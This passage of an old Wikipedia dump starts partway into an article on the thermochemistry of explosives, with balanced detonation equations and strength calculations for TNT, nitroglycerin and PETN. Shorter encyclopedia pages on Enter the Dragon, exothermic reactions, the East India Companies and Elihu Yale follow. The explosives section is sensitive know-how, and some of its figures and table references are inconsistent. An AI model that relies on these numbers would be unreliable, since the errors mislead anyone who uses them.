The net heat difference between heats of formations of the reactants and products in a chemical reaction is termed the heat of reaction. For oxidation this heat of reaction may be termed [[Heat of combustion|heat of combustion]].

In explosive technology only materials that are exothermic &amp;mdash; that is, have a heat of reaction that causes net liberation of heat &amp;mdash; are of interest. Hence, in this text, heats of reaction are virtually all positive. Reaction heat is measured under conditions either of constant pressure or constant volume. It is this heat of reaction that may be properly expressed as &quot;heat of the explosion.&quot;

=== Balancing chemical explosion equations===

In order to assist in balancing chemical equations, an order of priorities is presented in table 12-2. Explosives containing C, H, O, and N and/or a metal will form the products of reaction in the priority sequence shown. Some observation you might want to make as you balance an equation:

* The progression is from top to bottom; you may skip steps that are not applicable, but you never back up.
* At each separate step there are never more than two compositions and two products.
* At the conclusion of the balancing, elemental forms, nitrogen, oxygen, and hydrogen, are always found in diatomic form.

{| align=&quot;center&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;1&quot; style=&quot;border-collapse: collapse; border: 1px solid #778&quot;
|-
|+ Table 12-2. Order of Priorities
|- style=&quot;background: #eee&quot;
! Priority
! Composition of explosive
! Products of decomposition
! Phase of products
|-
| align=&quot;center&quot; | 1
| A metal and chlorine
| Metallic chloride
| align=&quot;center&quot; | Solid
|-
| align=&quot;center&quot; | 2
| Hydrogen and chlorine
| HCl
| align=&quot;center&quot; | Gas
|-
| align=&quot;center&quot; | 3
| A metal and oxygen
| Metallic oxide
| align=&quot;center&quot; | Solid
|-
| align=&quot;center&quot; | 4
| Carbon and oxygen
| CO
| align=&quot;center&quot; | Gas
|-
| align=&quot;center&quot; | 5
| Hydrogen and oxygen
| H&lt;sub&gt;2&lt;/sub&gt;O
| align=&quot;center&quot; | Gas
|-
| align=&quot;center&quot; | 6
| Carbon monoxide and oxygen
| CO&lt;sub&gt;2&lt;/sub&gt;
| align=&quot;center&quot; | Gas
|-
| align=&quot;center&quot; | 7
| Nitrogen
| N&lt;sub&gt;2&lt;/sub&gt;
| align=&quot;center&quot; | Gas
|-
| align=&quot;center&quot; | 8
| Excess oxygen
| O&lt;sub&gt;2&lt;/sub&gt;
| align=&quot;center&quot; | Gas
|-
| align=&quot;center&quot; | 9
| Excess hydrogen
| H&lt;sub&gt;2&lt;/sub&gt;
| align=&quot;center&quot; | Gas
|-
|}

Example, TNT:

:C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;(NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;; constituents: 7C + 5H + 3N + 6O

Using the order of priorities in table 12-1, priority 4 gives the first reaction products:

:7C + 6O → 6CO with one mol of carbon remaining

Next, since all the oxygen has been combined with the carbon to form CO, priority 7 results in:

:3N → 1.5N&lt;sub&gt;2&lt;/sub&gt;

Finally, priority 9 results in: 5H → 2.5H&lt;sub&gt;2&lt;/sub&gt;

The balanced equation, showing the products of reaction resulting from the detonation of TNT is:

:C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;(NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt; → 6CO + 2.5H&lt;sub&gt;2&lt;/sub&gt; + 1.5N&lt;sub&gt;2&lt;/sub&gt; + C

Notice that partial moles are permitted in these calculations. The number of moles of gas formed is 10. The product, carbon, is a solid.

===Volume of products of explosion===

The [[Avogadro's law|law of Avogadro]] states that equal volumes of all gases under the same conditions of temperature and pressure contain the same number of molecules. From this law, it follows that the [[molar volume]] of one gas is equal to the molar volume of any other gas. The molar volume of any gas at 0 °C and under normal atmospheric pressure is very nearly 22.4 liters or 22.4 cubic decimeters. Thus, considering the nitroglycerin reaction.

:C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;(NO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt; → 3CO&lt;sub&gt;2&lt;/sub&gt; + 2.5H&lt;sub&gt;2&lt;/sub&gt;O + 1.5N&lt;sub&gt;2&lt;/sub&gt; + 0.25O&lt;sub&gt;2&lt;/sub&gt;

the explosion of one mole of nitroglycerin produces in the gaseous state: 3 moles of CO&lt;sub&gt;2&lt;/sub&gt;; 2.5 moles of O&lt;sub&gt;2&lt;/sub&gt;. Since a molar volume is the volume of one mole of gas, one mole of nitroglycerin produces 3 + 2.5 + 1.5 + 0.25 = 7.25 molar volumes of gas; and these molar volumes at 0 °C and atmospheric pressure form an actual volume of 7.25 × 22.4 = 162.4 liters of gas. (Note that the products H&lt;sub&gt;2&lt;/sub&gt;O and CO&lt;sub&gt;2&lt;/sub&gt; are in their gaseous form.)

Based upon this simple beginning, it can be seen that the volume of the products of explosion can be predicted for any quantity of the explosive. Further, by employing [[Charles' Law]] for perfect gases, the volume of the products of explosion may also be calculated for any given temperature. This law states that at a constant pressure a perfect gas expands 1/273.15 of its volume at 0 °C, for each degree Celsius of rise in temperature.

Therefore, at 15 °C the molar volume of an ideal gas is,

:''V''&lt;sub&gt;15&lt;/sub&gt; = 22.414 (288.15/273.15) = 23.64 liters per mole

Thus, at 15 °C the volume of gas produced by the explosive decomposition of one mole of nitroglycerin becomes

:''V'' = (23.64 l/mol)(7.25 mol) = 171.4 l

===Explosive strength===

The ''potential'' of an explosive is the total work that can be performed by the gas resulting from its explosion, when expanded adiabatically from its original volume, until its pressure is reduced to atmospheric pressure and its temperature to 15 °C. The potential is therefore the total quantity of heat given off at constant volume when expressed in equivalent work units and is a measure of the strength of the explosive.

An explosion may occur under two general conditions: the first, unconfined, as in the open air where the pressure (atmospheric) is constant; the second, confined, as in a closed chamber where the volume is constant. The same amount of heat energy is liberated in each case, but in the unconfined explosion, a certain amount is used as work energy in pushing back the surrounding air, and therefore is lost as heat. In a confined explosion, where the explosive volume is small (such as occurs in the powder chamber of a firearm), practically all the heat of explosion is conserved as useful energy. If the quantity of heat liberated at constant volume under adiabatic conditions is calculated and converted from heat units to equivalent work units, the potential or capacity for work results.

Therefore, if

''Q''&lt;sub&gt;mp&lt;/sub&gt; represents the total quantity of heat given off by a mole of explosive of 15 °C and constant pressure (atmospheric);

''Q''&lt;sub&gt;mv&lt;/sub&gt; represents the total heat given off by a mole of explosive at 15 °C and constant volume; and

''W'' represents the work energy expended in pushing back the surrounding air in an unconfined explosion and thus is not available as net theoretical heat;

Then, because of the conversion of energy to work in the constant pressure case,

:''Q''&lt;sub&gt;mv&lt;/sub&gt; = ''Q''&lt;sub&gt;mp&lt;/sub&gt; + ''W''

from which the value of ''Q''&lt;sub&gt;mv&lt;/sub&gt; may be determined. Subsequently, the potential of a mole of an explosive may be calculated. Using this value, the potential for any other weight of explosive may be determined by simple proportion.

Using the principle of the initial and final state, and heat of formation table (resulting from experimental data), the heat released at constant pressure may be readily calculated.

''m'' ''n''

''Q''&lt;sub&gt;mp&lt;/sub&gt; = ''v''&lt;sub&gt;i&lt;/sub&gt;''Q''&lt;sub&gt;fi&lt;/sub&gt; - ''v''&lt;sub&gt;k&lt;/sub&gt;''Q''&lt;sub&gt;fk&lt;/sub&gt;

1 1

&lt;!-- are there supposed to be two integral signs, or summation signs, here, for the intervals from 1 to ''m'' and from 1 to ''n''?  If so, use math markup to include them --&gt;

where:

''Q''&lt;sub&gt;fi&lt;/sub&gt; = heat of formation of product i at constant pressure

''Q''&lt;sub&gt;fk&lt;/sub&gt; = heat of formation of reactant k at constant pressure

''v'' = number of moles of each product/reactants (''m'' is the number of products and ''n'' the number of reactants)

The work energy expended by the gaseous products of detonation is expressed by:

:''W'' = ''P dv''

With pressure constant and negligible initial volume, this expression reduces to:

:''W'' = ''P·V''&lt;sub&gt;2&lt;/sub&gt;

Since heats of formation are calculated for standard atmospheric pressure (101&amp;nbsp;325 Pa, where 1 Pa = 1 N/m²) and 15 °C, V&lt;sub&gt;2&lt;/sub&gt; is the volume occupied by the product gases under these conditions. At this point

''W''/mol = (101&amp;nbsp;325 N/m²)(23.63 L/mol)(1 m³/1000 L) = 2394 N·m/mol = 2394 J/mol

and by applying the appropriate conversion factors, work can be converted to units of kilocalories.

''W''/mol = 0.572 kcal/mol

Once the chemical reaction has been balanced, one can calculate the volume of gas produced and the work of expansion. With this completed, the calculations necessary to determine potential may be accomplished.

For TNT:

:C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;(NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt; → 6CO + 2.5H&lt;sub&gt;2&lt;/sub&gt; + 1.5N&lt;sub&gt;2&lt;/sub&gt; + C

for 10 mol

Then:

:''Q''&lt;sub&gt;mp&lt;/sub&gt; = 6(26.43) - 16.5 = 142.08 kcal/mol

Note: Elements in their natural state (H&lt;sub&gt;2&lt;/sub&gt;, O&lt;sub&gt;2&lt;/sub&gt;, N&lt;sub&gt;2&lt;/sub&gt;, C, etc.) are used as the basis for heat of formation tables and are assigned a value of zero. See table 12-2.

:''Q''&lt;sub&gt;mv&lt;/sub&gt; = 142.08 + 0.572(10) = 147.8 kcal/mol

As previously stated, ''Q''&lt;sub&gt;mv&lt;/sub&gt; converted to equivalent work units is the potential of the explosive. (MW = Molecular Weight of Explosive)

Potential = ''Q''&lt;sub&gt;mv&lt;/sub&gt; kcal/mol × 4185 J/kcal × 10&lt;sup&gt;3&lt;/sup&gt; g/kg × 1 mol/(mol·g)

Potential = ''Q''&lt;sub&gt;mv&lt;/sub&gt; (4.185 × 10&lt;sup&gt;6&lt;/sup&gt;) J/(mol·kg)

For TNT,

Potential = 147.8 (4.185 × 10&lt;sup&gt;6&lt;/sup&gt;)/227.1 = 2.72 × 10&lt;sup&gt;6&lt;/sup&gt; J/kg

Rather than tabulate such large numbers, in the field of explosives, TNT is taken as the standard explosive, and others are assigned strengths relative to that of TNT. The potential of TNT has been calculated above to be 2.72 × 10&lt;sup&gt;6&lt;/sup&gt; J/kg. Relative strength (RS) may be expressed as

:R.S. = Potential of Explosive/(2.72 × 10&lt;sup&gt;6&lt;/sup&gt;)

===Example of thermochemical calculations===

The PETN reaction will be examined as an example of thermo-chemical calculations.

:PETN: C(CH&lt;sub&gt;2&lt;/sub&gt;ONO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt;
:Molecular weight = 316.15 g/mol
:Heat of formation = 119.4 kcal/mol

(1) Balance the chemical reaction equation. Using table 12-1, priority 4 gives the first reaction products:

:5C + 12O → 5CO + 7O

Next, the hydrogen combines with remaining oxygen:

:8H + 7O → 4H&lt;sub&gt;2&lt;/sub&gt;O + 3O

Then the remaining oxygen will combine with the CO to form CO and CO&lt;sub&gt;2&lt;/sub&gt;.

:5CO + 3O → 2CO + 3CO&lt;sub&gt;2&lt;/sub&gt;

Finally the remaining nitrogen forms in its natural state (N&lt;sub&gt;2&lt;/sub&gt;).

:4N → 2N&lt;sub&gt;2&lt;/sub&gt;

The balanced reaction equation is:

:C(CH&lt;sub&gt;2&lt;/sub&gt;ONO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt; → 2CO + 4H&lt;sub&gt;2&lt;/sub&gt;O + 3CO&lt;sub&gt;2&lt;/sub&gt; + 2N&lt;sub&gt;2&lt;/sub&gt;

(2) Determine the number of molar volumes of gas per mole. Since the molar volume of one gas is equal to the molar volume of any other gas, and since all the products of the PETN reaction are gaseous, the resulting number of molar volumes of gas (''N&lt;sub&gt;m&lt;/sub&gt;'') is:

:''N&lt;sub&gt;m&lt;/sub&gt;'' = 2 + 4 + 3 + 2 = 11 ''V''&lt;sub&gt;molar&lt;/sub&gt;/mol

(3) Determine the potential (capacity for doing work). If the total heat liberated by an explosive under constant volume conditions (''Q&lt;sub&gt;m&lt;/sub&gt;'') is converted to the equivalent work units, the result is the potential of that explosive.

The heat liberated at constant volume (''Q&lt;sub&gt;mv&lt;/sub&gt;'') is equivalent to the liberated at constant pressure (''Q&lt;sub&gt;mp&lt;/sub&gt;'') plus that heat converted to work in expanding the surrounding medium. Hence, ''Q&lt;sub&gt;mv&lt;/sub&gt;'' = ''Q&lt;sub&gt;mp&lt;/sub&gt;'' + work (converted).

:a. ''Q&lt;sub&gt;mp&lt;/sub&gt;'' = ''Q&lt;sub&gt;fi&lt;/sub&gt;'' (products) - ''Q&lt;sub&gt;fk&lt;/sub&gt;'' (reactants)

::where: ''Q&lt;sub&gt;f&lt;/sub&gt;'' = heat of formation (see table 12-2)

::For the PETN reaction:

:::''Q&lt;sub&gt;mp&lt;/sub&gt;'' = 2(26.343) + 4(57.81) + 3(94.39) - (119.4) = 447.87 kcal/mol

::(If the compound produced a metallic oxide, that heat of formation would be included in ''Q&lt;sub&gt;mp&lt;/sub&gt;''.

:b. Work = 0.572''N&lt;sub&gt;m&lt;/sub&gt;'' = 0.572(11) = 6.292 kcal/mol

:As previously stated, ''Q&lt;sub&gt;mv&lt;/sub&gt;'' converted to equivalent work units is taken as the potential of the explosive.

:c. Potential ''J'' = ''Q&lt;sub&gt;mv&lt;/sub&gt;'' (4.185 × 10&lt;sup&gt;6&lt;/sup&gt; kg)(MW) = 454.16 (4.185 × 10&lt;sup&gt;6&lt;/sup&gt;) 316.15 = 6.01 × 10&lt;sup&gt;6&lt;/sup&gt; J kg

:This product may then be used to find the relative strength (RS) of PETN, which is

:d. RS = Pot (PETN) = 6.01 × 10&lt;sup&gt;6&lt;/sup&gt; = 2.21 Pot (TNT) 2.72 × 10&lt;sup&gt;6&lt;/sup&gt;

== See also ==

* [[Blasting cap]]
* [[Nuclear weapon]]
* [[Shaped charge]]
* [[Weapon]]
* [[Explosive velocity]]

== External links ==

* [http://www.roguesci.org/theforum The Explosives and Weapons Forum]
* [http://www.roguesci.org/megalomania/index.html Megalomanias Controversial Chem Lab]
* [http://www.blasterexchange.com Blaster Exchange - Explosives Industry Portal]
* [http://www.fas.org/man/dod-101/navy/docs/fun/part12.htm Military Explosives]
* [http://globalsecurity.org/military/systems/munitions/explosives-class.htm UN hazard classification code]
* [http://environmentalchemistry.com/yogi/hazmat/placards/class1.html Class 1 Hazmat Placards]

==References==
* Army Research Office. ''Elements of Armament Engineering (Part One)''. Washington, D.C.: U.S. Army Material Command, 1964.
* Commander, Naval Ordnance Systems Command. ''Safety and Performance Tests for Qualification of Explosives.'' NAVORD OD 44811. Washington, D.C.: GPO, 1972.
* Commander, Naval Ordnance Systems Command. ''Weapons Systems Fundamentals.'' NAVORD OP 3000, vol. 2, 1st rev. Washington, D.C.: GPO, 1971.
* Departments of the Army and Air Force. ''Military Explosives.'' Washington, D.C.: 1967.
* USDOT Hazardous Materials Transportation Placards

[[Category:Explosives]]

[[bg:Взривни вещества]]
[[ca:Explosiu]]
[[cs:Výbušnina]]
[[da:Sprængstof]]
[[de:Sprengstoff]]
[[es:Explosivo]]
[[fr:Explosif]]
[[id:Bahan peledak]]
[[it:Esplosivo]]
[[he:חומר נפץ]]
[[lt:Sprogstamosios medžiagos]]
[[lv:Sprāgstvielas]]
[[nl:Explosief]]
[[pl:Materiał wybuchowy]]
[[pt:Explosivo]]
[[ru:Взрывчатые вещества]]
[[sl:Eksplozivi]]
[[fi:Räjähde]]
[[sv:Sprängämne]]
[[zh:炸藥]]</text>
    </revision>
  </page>
  <page>
    <title>Enter the Dragon</title>
    <id>10193</id>
    <revision>
      <id>42052729</id>
      <timestamp>2006-03-03T13:52:35Z</timestamp>
      <contributor>
        <ip>67.43.20.52</ip>
      </contributor>
      <comment>/* Famous Dialogue */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name          = Enter the Dragon |
  image          = Enter the Dragon.jpg |
  imdb_id        = 0070034 |
  writer         = [[Michael Allin]] |
  starring       =  [[Bruce Lee]]&lt;br&gt;[[John Saxon]]&lt;br&gt;[[Ahna Capri]] |
  director       = [[Robert Clouse]] |
  producer       = [[Fred Weintraub]]&lt;br&gt;[[Paul Heller]] |
  distributor       = [[Warner Brothers]] |
  released   = [[July 26]], [[1973]] ([[Hong Kong]])&lt;br&gt;[[August 17]], [[1973]] ([[United States]]) |
  runtime        = 98 min. |
  language = English |
  music          = [[Lalo Schifrin]] |
  awards         = |
  budget         = $850,000 (est.)
}}
{{otheruses4|the Kung Fu film starring Bruce Lee|the episode of &quot;Xiaolin Showdown&quot;|Enter the Dragon (Xiaolin Showdown)}}

'''''Enter the Dragon''''' (&amp;#12298;&amp;#40845;&amp;#29229;&amp;#34382;&amp;#39717;&amp;#12299; aka. ''The Deadly Three'', originally titled ''Blood and Steel'') is a [[1973]] [[Warner Brothers]] [[martial arts film]] starring [[Bruce Lee]], [[John Saxon (actor)|John Saxon]] and [[Jim Kelly (martial artist)| Jim Kelly]]. It is the last complete film made by Bruce Lee before his death; he died the month before it was released.

It is considered by many to be the definitive [[Kung Fu]] film, and was the first to ever be made by a [[Hollywood]] studio. It has one of the most influential martial arts scenes ever made - the ''[[Nunchaku]]'' scene. 

Although they had acted in films and Peking opera decades before, the [[Seven Little Fortunes]], including Jackie Chan and Sammo Hung, had cameo appearances, and appearances as extras.  This was arguably instrumental in Jackie Chan's further association with [[Golden Harvest]] studios, which later launched his international career.

The finished version of the film was significantly different from the original drafts.  Bruce Lee was ultimately successful in using the film as a vehicle for expressing what he saw as the beauty of his culture, rather than just another action movie.

The Warner Brothers Special Edition video includes footage from the only live interview of Bruce Lee, as well as a few minutes of movie footage, philosophical in tone, cut from the original theatrical release.

The film is set in [[Hong Kong]] (''see [[Hong Kong in films]]'').

==Plot==
{{spoiler}}
&quot;Enter the Dragon&quot; follows three international martial artists during their participation in a fighting tournament.  Mister Lee (played by Bruce Lee), Mister Roper (John Saxon) and Mister Williams (Jim Kelly) each have their own reasons for entering the tournament initially, though they all find themselves at odds with their host, the mysterious Han (played by Kien Shih).  For Lee, an intelligence agency recruits him to investigate Han's operations using his participation in the tournament as cover and since Han forbids firearms on the island, Lee's [[martial art]]s skill would be vital in case of trouble.  

In the course of the tournament, the protagonists discover that Han uses his untouchable island and the tournament as a front to recruit new talent for his drug running operation.  For Lee, however, this tends to be a bit more personal, as Han fled in disgrace from Lee's Shaolin temple and some of Han's thugs were responsible for the death of Lee's sister.

==On Set Incidents==
 

Bruce was also bit by a cobra during filming of the scene in which he infiltrates Han's base. 

According to Bob Wall and John Saxon, Bruce Lee beat up an actor as he was being taunted by him , but on the Enter The Dragon dvd Linda plays this down. Bruce Lee was said to have been challenged by actors/stunt men many times and being asked to prove himself. 

During the fight scene with Bob Wall, Bruce Lee cut himself on the glass bottles as they weren't breakaway props.

During the making of Enter The Dragon it is said that Bob Wall never quite got along with Bruce Lee and at the fight on the parade ground where he smashed the bottles the attack at Lee was more then just a managed fight. Wall and others however, deny these allegations stating the whole event was blown out of proportion.

==Additional Information==
In a list of channel four's top 100 movies compiled by critics in the UK, Enter The Dragon charted at No 85. 

On the ''Your Movie Database'' website it is ranked at 60. 

It is often regarded as one of the most influential films of all time, kick starting the kung fu movie genre during the 70's in the West and establishing Bruce Lee as a popular culture icon.

In October 1973, Enter The Dragon was the box office No 1 in the United States. 

The film grossed $100 million in the United States alone and became Warner Brother's highest grossing film in 1973. 

By 1977, Enter the Dragon was listed as one of the twenty most profitable movies in the history of cinema.

==Enter The Dragon in popular culture==
Many of the moves performed by Bruce Lee in this film are used as moves for the characters Marshall and Forest Law in the best selling videogame series [[Tekken]].

The driving and haunting score by [[Lalo Schifrin]] is also used on [[Takeshi's Castle]] screened by UK cable channel [[Challenge TV]] during the Honey Comb maze.

Some parts of the music during the walls of mirrors climax is used in the Bollywood hit [[Sholay]].

In [[Aaliyah]]'s video of ''[[Try Again]]'' which features martial art's actor [[Jet Li]], there is a similar mirror scene set used, like the climax at the end of Enter The Dragon.

Liu Kang, from the ''[[Mortal Kombat]]'' series, seems to be based mostly on Bruce Lee's character, Lee. This is evident do to the fact that both are former shaolin monks who are trying to restore honor in a corrupted tournament. Also, in the ''[[Mortal Kombat (film)]]'', Liu Kang seeks to avenge the death of a family member, his brother, just as Lee seeks to avenge the death of his sister.

[[Rush Hour 2]] seems to reference Enter The Dragon during the scene where [[Chris Tucker]]'s character is in the massage parlour and he begin's selecting the women he'd like to be massaged by. Jim Kelly's character also does this.

== Famous Dialogue ==
''You have offended my family...and you have offended the shaolin temple'' '''Lee'''

''It is like a finger pointing away to the moon. Don't concentrate on the finger or you will miss all that heavenly glory...you understand?'' - '''Lee'''

''Boards...dont hit back'' - '''Lee'''

''Man...You come right out of a comic book'' - '''Williams'''

''There is a point where I won't go beyond'' - '''Roper'''

''Gentlemen, we will have our tournament...'' - '''Han'''

''Bolo!''- '''Han'''
(to which '''Bolo''' responds to with) ''DA!''

''Corruption is highly profitable'' -'''Han'''

''Remember, the enemy only has images and illusions behind which he hides his true motives...destroy the image and you will break the enemy'' - '''Monk'''

== Further Reading/Sources ==

http://www.channel4.com/film/newsfeatures/microsites/G/greatest/results/control.jsp?resultspage=81

http://www.bbc.co.uk/films/2001/10/09/enter_the_dragon_1973_review.shtml#rating#rating

==Cast includes==
{| width=100%
| valign=top width=50% |
* [[Bruce Lee]]
* [[John Saxon (actor)|John Saxon]]
* [[Shih Kien|Kien Shih]]
* Ahna Capri
* Angela Mao
* [[Jim Kelly (martial artist)|Jim Kelly]]
* [[Robert Wall]]
* [[Bolo Yeung]]
* Betty Chung
* Geoffrey Weeks
* [[Peter Archer]]
* Ho Lee Yan
* Marlene Clark
* Allan Kent
* William Keller
* Mickey Caruso
* Pat E. Johnson
| valign=top width=50% |
* Darnell Garcia
* Mike Bissell
* [[Jackie Chan]] (stuntman, uncredited)
* Roy Chiao (uncredited) 
* Paul M. Heller (uncredited)
* [[Sammo Hung]] (martial artist, uncredited) 
* [[Lam Ching Ying]] (uncredited) 
* Tony Liu (uncredited) 
* [[Keye Luke]] (voice, uncredited) 
* [[Chuck Norris]] (uncredited) 
* Hidy Ochiai (uncredited) 
* Steve Sanders (uncredited) 
* Wei Tung (uncredited) 
* Donnie Williams (uncredited) 
* [[Yuen Biao]] (uncredited) 
* [[Yuen Wah]] (uncredited) 
|}

[[Category:1973 films]]
[[Category:Blaxploitation films]]
[[Category:Bruce Lee films]]
[[Category:Kung fu films]]
[[Category:United States National Film Registry]]

[[de:Der Mann mit der Todeskralle]]
[[ja:燃えよドラゴン]]
[[zh:&amp;#40845;&amp;#29229;&amp;#34382;&amp;#39717;]]


{{HK-film-stub}}
{{martialart-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Explosive</title>
    <id>10200</id>
    <revision>
      <id>15908029</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Explosive material]]
</text>
    </revision>
  </page>
  <page>
    <title>Exothermic</title>
    <id>10201</id>
    <revision>
      <id>42009071</id>
      <timestamp>2006-03-03T04:47:53Z</timestamp>
      <contributor>
        <username>Isopropyl</username>
        <id>34650</id>
      </contributor>
      <comment>merged in exothermic reaction</comment>
      <text xml:space="preserve">'''Exothermic''' means to release heat.  Its etymology stems from the Greek suffix ''–thermic'', meaning “to heat”, and the Greek prefix ''exo-,'' meaning “outside”.  It refers to a transformation in which a system gives heat to the surroundings: ''Q &lt; 0''.  When the transformation occurs at constant pressure: ''∆H &lt; 0''; and constant volume: ''∆U &lt; 0''.  If the system undergoes a transformation which is both exothermic and adiabatic, its temperature increases.

In [[chemistry]], an '''exothermic reaction''' is one that releases [[heat]]. It is the opposite of an [[endothermic reaction]]. Expressed in a [[chemical equation]]:

:Reactants &amp;rarr; Product + Heat

When using a [[calorimeter]], the change in heat of the calorimeter is equal to the opposite of the change in heat of the system. This means that when the [[solution]] in which the reaction is taking place gains heat, the reaction is exothermic.

In an exothermic reaction the total energy absorbed in bond breaking is less than the total energy released in bond making.

The absolute amount of energy in a chemical system is extremely difficult to measure or calculate. The [[enthalpy]] change, &amp;Delta;H, of a chemical reaction is much easier to measure and calculate. A [[bomb calorimeter]] is very suitable for measuring the energy change, &amp;Delta;H, of a [[combustion]] reaction. Measured and calculated &amp;Delta;H values are related to bond energies by:

:&amp;Delta;H = energy used in bond breaking reactions - energy released in bond making products.

For an exothermic reaction, this gives a negative value for &amp;Delta;H as a larger value is subtracted from a smaller value. For example, when hydrogen combusts,

:2H&lt;sub&gt;2&lt;/sub&gt;([[gas|g]])  +  O&lt;sub&gt;2&lt;/sub&gt;([[gas|g]]) &amp;rarr;  2 H&lt;sub&gt;2&lt;/sub&gt;O([[gas|g]])

:&amp;Delta;H = &amp;minus;483.6 kJ/mol of O&lt;sub&gt;2&lt;/sub&gt;

== See also ==
*[[Endergonic]]
*[[Exergonic]]
*[[Endothermic]]

==External links==
*[http://www.gcsescience.com/rc24.htm GCSE Science: Reactions]

[[Category:Thermodynamics]]
[[Category:Chemical reactions]]

[[ar:تفاعل طارد للحرارة]]
[[da:Exoterm]]
[[de:Exotherme Reaktion]]
[[et:Eksotermiline reaktsioon]]
[[fr:Réaction exothermique]]
[[he:תגובה אקסותרמית]]
[[hu:Exoterm reakció]]
[[mk:Егзотермна реакција]]
[[nl:Exotherme reactie]]
[[nn:Eksoterm reaksjon]]
[[sk:Exotermická reakcia]]
[[fi:Eksoterminen reaktio]]
[[sv:Exoterm]]
[[zh:放热反应]]</text>
    </revision>
  </page>
  <page>
    <title>East India Company</title>
    <id>10203</id>
    <revision>
      <id>40018879</id>
      <timestamp>2006-02-17T15:11:09Z</timestamp>
      <contributor>
        <username>Stephen Turner</username>
        <id>132007</id>
      </contributor>
      <comment>Remove links within dab page per [[WP:DAB]]</comment>
      <text xml:space="preserve">'''East India Company''' was the name of several historical European companies chartered with the monopoly of trading with Asia for their respective countries. 

* The [[British East India Company]], founded in 1600
* The [[Danish East India Company]], founded in 1616
* The [[Dutch East India Company]], founded in 1602
* The [[French East India Company]], founded in 1664
* The [[Swedish East India Company]], founded in 1731

{{disambig}}

[[de:Ostindien-Kompanie]]
[[ko:동인도 회사]]
[[it:Compagnia delle Indie]]
[[ja:東インド会社]]
[[no:Det Ostindiske kompani]]
[[pl:Kompania Wschodnioindyjska]]
[[ru:Ост-Индская компания]]</text>
    </revision>
  </page>
  <page>
    <title>Elihu Yale</title>
    <id>10204</id>
    <revision>
      <id>37206646</id>
      <timestamp>2006-01-29T12:37:33Z</timestamp>
      <contributor>
        <username>Uucp</username>
        <id>139248</id>
      </contributor>
      <minor />
      <comment>/* Death and legacy */</comment>
      <text xml:space="preserve">[[Image:Elihu_Yale.jpg|thumbnail|right|250px|'''Elihu Yale''']]

'''Elihu Yale''', ([[April 5]], [[1649]] &amp;ndash; [[July 8]], [[1721]]), was the first benefactor of [[Yale University]].  His ancestry can be traced to a family of North [[Wales]], and the name Yale is the [[English language|English]] spelling of the [[Welsh language|Welsh]] place name, Iâl.  He was a prominent governor of [[Madras]], in [[British East India]], amassed a fortune in his lifetime, and he was generous with the proceeds.

== Life ==
Born in [[Boston, Massachusetts|Boston]] to David Yale (1613-1690) and Ursula Knight (1624-1698). His grandmother, Ann Lloyd (1591-1659), was also the wife of the [[Theophilus Eaton|Governor Theophilus Eaton]] (1590-1657) of [[New Haven Colony]] by a second marriage after her first husband, Thomas Yale (1590-1619), suddenly died at [[Chester]]. Yale moved to [[England]] with his family when he was four, and never returned to North America.

For 20 years, Yale was part of the [[British East India Company]], and he became the second governor of a settlement at [[Madras]] (present-day city of [[Chennai]]) in [[1687]], after [[Streynsham Master]]. He was suspended from the post, however, in [[1692]] after arguments with his council and his superiors. 

In [[1718]], [[Cotton Mather]] contacted Yale and asked for his help. Mather represented a small institution of learning that had been founded as the Collegiate School of Connecticut in [[1701]], and it needed money for a new building in [[New Haven, Connecticut|New Haven]]. Yale sent Mather a carton of goods that the school subsequently sold, earning them 560 [[pounds sterling]], which was a substantial sum in the early [[1700s]]. In gratitude, officials named the new building Yale; eventually the entire institution became [[Yale University|Yale College]].

== Death and legacy ==
Yale died on [[July 8]], [[1721]] and is buried in the churchyard of [[Wrexham]], [[North Wales]]. His tomb is inscribed with these lines:

:&lt;i&gt;Born in America, in Europe bred &lt;/i&gt;
:&lt;i&gt;In Africa travell'd and in Asia wed&lt;/i&gt;
:&lt;i&gt;Where long he liv'd and thriv'd; In London dead&lt;/i&gt;
:&lt;i&gt;Much good, some ill, he did; so hope all's even&lt;/i&gt;
:&lt;i&gt;And that his soul thro' mercy's gone to Heaven&lt;/i&gt;
:&lt;i&gt;You that survive and read this tale, take care&lt;/i&gt;
:&lt;i&gt;For this most certain exit to prepare&lt;/i&gt;
:&lt;i&gt;Where blest in peace, the actions of the just&lt;/i&gt;
:&lt;i&gt;Smell sweet and blossom in silent dust.&lt;/i&gt;

Elihu later became the name of a &quot;senior society&quot; founded in [[1903]] at Yale.

Alexandra Robbins, in her article for ''Atlantic Monthly'' about [[Skull and Bones]], alleges that the [[gravestone]] of Elihu Yale was stolen years ago from its proper setting in [[Wrexham]], and is displayed in a glass case, in a room with purple walls, which belongs to a building called ''the Tomb'' of the [[Skull and Bones]] at [[Yale University]].

In 1999, ''American Heritage'' magazine rated Elihu Yale the &quot;most overrated philanthropist&quot; in American history, arguing that the college that would later bear his name (Yale University) was successful largely because of the generosity of a man named [[Jeremiah Dummer]], but that the trustees of the school did not want it known by the name &quot;Dummer College&quot;.

== Other references to the name ==
'''Elihu Yale''' is also the name of the Atlanta Police Chief in [[Tom Wolfe]]'s novel ''[[A Man in Full]]''. In the novel Elihu Yale is understood to be a black man, a fact that could possibly be interpreted as more of Tom Wolfe's commentary on class division in the United States. Wolfe himself earned a PhD. in American Studies from Yale.

